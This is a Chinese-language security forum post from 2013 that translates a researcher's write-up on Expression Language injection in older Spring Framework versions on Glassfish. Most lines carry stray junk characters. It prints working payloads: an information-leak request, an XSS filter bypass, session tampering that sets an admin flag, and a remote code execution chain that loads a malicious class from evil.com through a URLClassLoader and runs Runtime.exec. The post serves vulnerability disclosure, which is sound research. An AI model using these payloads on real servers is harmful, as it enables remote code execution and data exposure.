找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2597|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with1 G- [: i! D& u) e
Expression Language Injection
; C2 P1 m* D" F5 _  w7 PSpring Framework脆弱性—DanAmodio# O" w8 B; T6 G
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中: B4 S7 Y# z% }" Q0 A6 d+ K( \
可能会存在风险。0 |: v8 T$ Y: e: q& E2 Y. W
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
# L7 T2 g3 i( z) KArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可$ Q6 s( C& n2 v1 c4 }% {6 D
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,- K" N' C( W  V$ W$ A: o# C
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前) X9 m) p+ L$ z: \: N8 M  P
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。/ \2 x6 f4 s5 d' S  O& H
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
5 w9 D9 B: F5 y/ l我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
2 ]/ K( t  O& ]本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。; M% d' S2 r5 _1 n  k8 H% n# a
这些版本不支持禁用double EL resolution.
9 O8 y8 ]+ R6 r5 R8 v8 _8 f9 f: a' o这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
% e6 A5 C) K* z% n9 m; n  HEL2.2容器上可能进行远程代码执行。
' i0 u# G% [% x9 H1 _这是一个原始信息泄露的攻击例子:3 C. B1 w7 b9 e7 E' c+ {
请求:
* C$ V- @! Y+ B  Yttp://vulnerable.com/foo?message=${applicationScope}, J/ B/ O4 n" w( _( `
到达以下内容页面:: m5 [% R2 y8 o- c4 K0 i$ X# C7 O
结果将输出一些包含内部服务器信息calsspath 和本地工作目录5 [( i) Z( |" E9 T8 N8 E' O
你也可以做一些其他事情,如这样:  L5 t. x: d3 S
${9999+1}
7 x' O8 Q! I1 u6 g( E8 H还可以访问session 对象和beans4 }5 }: p( m) [3 q7 n
${employee.lastName}
# O' O8 n1 p% x9 b# E& z- G在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
; i- D; `% k  K: KEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
% _& o& R4 ?- }# s  w% T7 E# N" a/ X西,比如XSS.. Z7 g" b  g3 c8 g
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
% Y4 s5 n+ K6 |! H+ Q( G: p8 B1 K突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
% q. s+ U  k4 Z5 `呢?”8 `" b2 s7 ?% F8 {& ^
因此,我尝试巳缦拢�0 H/ [- p/ g' X& ^: v
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
4 g8 ]1 {1 t6 k- aP. ?/ d. G6 m9 }) \: M6 Q
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返5 _, I  z- F# s8 k. {
回的文本被插入进了spring:message 标签。
# B1 P) p1 W, n这里是一个最终绕过过滤的实例:
$ ]7 B- _' W* \% U' s3 t% v" ]http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
; d& B. Y2 b  Q0 s$ v它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为! x7 ^% M8 X6 p. j$ b
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
& `  y- K, V* r6 e4 ~# m经过一番研究,我学习到EL2.2 增加了方法调用。
% b7 E1 g: [1 l) r3 g% K3 A) D2 K我写了一个快速测试应用程序代码并且检测一些功能5 N$ J2 }) J& ^  G6 U% x. {
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
+ f1 S$ Q5 P3 P9 ?5 l  |${pageContext.request.getSession().setAttribute(“admin”,true)}% P1 M* s! b, d* K' v! @
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
$ ]4 [# W/ S* _  N指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
/ R/ b+ h9 `' X0 v: p${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1/ D  P% Y/ n8 b8 w2 {4 L
“, 1234)}
1 u, e- H, O6 T8 W+ `8 D" z${“”.getClass().forName(“java.lang.Runtime”)}3 P7 }/ y: g- [8 L+ ~% D1 y7 ~
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
% F7 _0 Y# i$ G& E3 P3 ]# G% W可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
2 f$ H3 K- |0 T数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有0 {6 R0 w( |7 s$ q
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
. h1 G# x  ?& U* y方法签名invoke(Object obj, Object„ args)
8 j% ^# v8 D5 DJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
1 @( I3 S, l8 [1 Z题,以让它可以工作起来。6 I* }3 }8 j6 y* ^$ \) K
漏洞利用:) j; {9 ]7 z! T1 N: h7 C% x* g
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我) K! U! P( @# m) E2 t+ P
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
4 W9 j0 V" z# {% U这里有一些我试过的失败的用例,为了试图让它工作的用例:* k, D, F" t* x( P& a3 _; m: a
 写文件到文件系统" ~$ X5 `2 Y5 [: z
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
1 e7 F5 `4 p" e! ^8 T3 `( [7 i我认为这些可以很好的工作,但是我不能找到合适的类来载入。
8 L# E  s# m4 A9 p8 z* E$ ?${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}% U# Z# q( S" y1 `
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:1 ?. G1 l6 V; s* D& g
org.springframework.expression.spel.standard.SpelExpressionParser not found
% M6 m: g/ G2 w3 Aby: y% C! ~- z3 U
org.glassfish.web.javax.servlet.jsp [194].& {9 ~  r; U9 f4 c! Y, ?
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
- V6 ]6 L/ g+ ]* I9 i/ h8 x2 h 利用反射来创建一个新的Runtime(and watch the world burn)# T7 q4 {$ L3 J  Z9 f8 S
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName* g2 v9 A0 e) L4 b5 j  k% V% |' |
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
9 X& j! `% ]2 r# z9 {# h( V4 L${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
9 V5 ?1 e$ U; J  m# @- o- F' H 使用java.lang.ProcessBuilder
1 w' r8 ~: o) Y' U# L, ` 用表达式语言来评估表达式语言
. d% O' \: c9 E# JExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
& W& P4 T% H) O5 A3 M, d7 }. y${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
, Z% U, }% M% d# z' h“,”".getClass(),null)}
3 L  ~. q3 h" T& ` 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)2 F- b3 K  @! i6 C3 y3 X
我在使用一个空数组通过Method.invoke()时失败了很多次4 ?/ a/ S. B* O+ ]1 P
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
8 }* x) ]+ k2 b, x.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
8 _: I5 `$ H$ h! g& N$ q; j5 U- QrrayList”).newInstance().toArray())
" }( j& Q0 ?) \3 R( pjava.lang.IllegalArgumentException: wrong number of arguments
5 k. ^5 E' q( \9 w9 m最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可1 l& L/ l4 N  l/ g
以创建一个恶意class文件并且指向类装载器.' M! c2 |# P2 {6 z- f6 J
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:# w4 K2 g1 k2 z+ N& X7 z4 b$ T
public class Malicious {2 j& Y. \7 a1 P- G' E
public Malicious() {: l, p1 y5 q) E  e- E
try {( R/ d. ^' h" L3 H
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
1 ?: o5 o( A0 v* Gjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
9 w9 \) M" a3 [& B: Q9 S} catch (Exception e) {
% n. E4 Y4 p& [) x0 e}# s1 \1 z2 G" D; D! _. C" B+ B
}( W/ k2 j  K) s% _  O9 `) G; u4 Q2 _7 {( d
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回4 ?) \/ ^, y6 h# Q1 E
话中,因此它可以被使用.
1 o  x  [; w3 c' ~1 U  Z9 P, A${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName+ p/ M3 w8 P0 v3 B
(“java.util.ArrayList”).newInstance())}
* d" l) t/ j# \- _" C, v+ v! c1 ~URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建7 }% O3 O5 `: ]; ]$ [6 x3 e
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
2 i% v1 f- R- sgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
- i6 F; N3 x5 n4 o: u我们可以调用的create(string)方法,然后转换对一个URL对象。
7 R  G7 w% P& i( x- h8 o${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
/ P) |) m$ F. s" o4 qere/malicious/classfile/is/located/”).toURL())}& Y& i9 C$ a, ]- K% b/ _& A
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,  W& R: H: i8 H, L
恶意类文件被装载并创建,触发远程代码.
: b) H$ k4 {4 W% N. i* d$ C( u${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
" z# W% q4 A8 j  y7 Z3 xxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
( R- g, l% n6 a' F" ~+ HgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
+ s2 O& p0 }2 h# |4 r: T()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表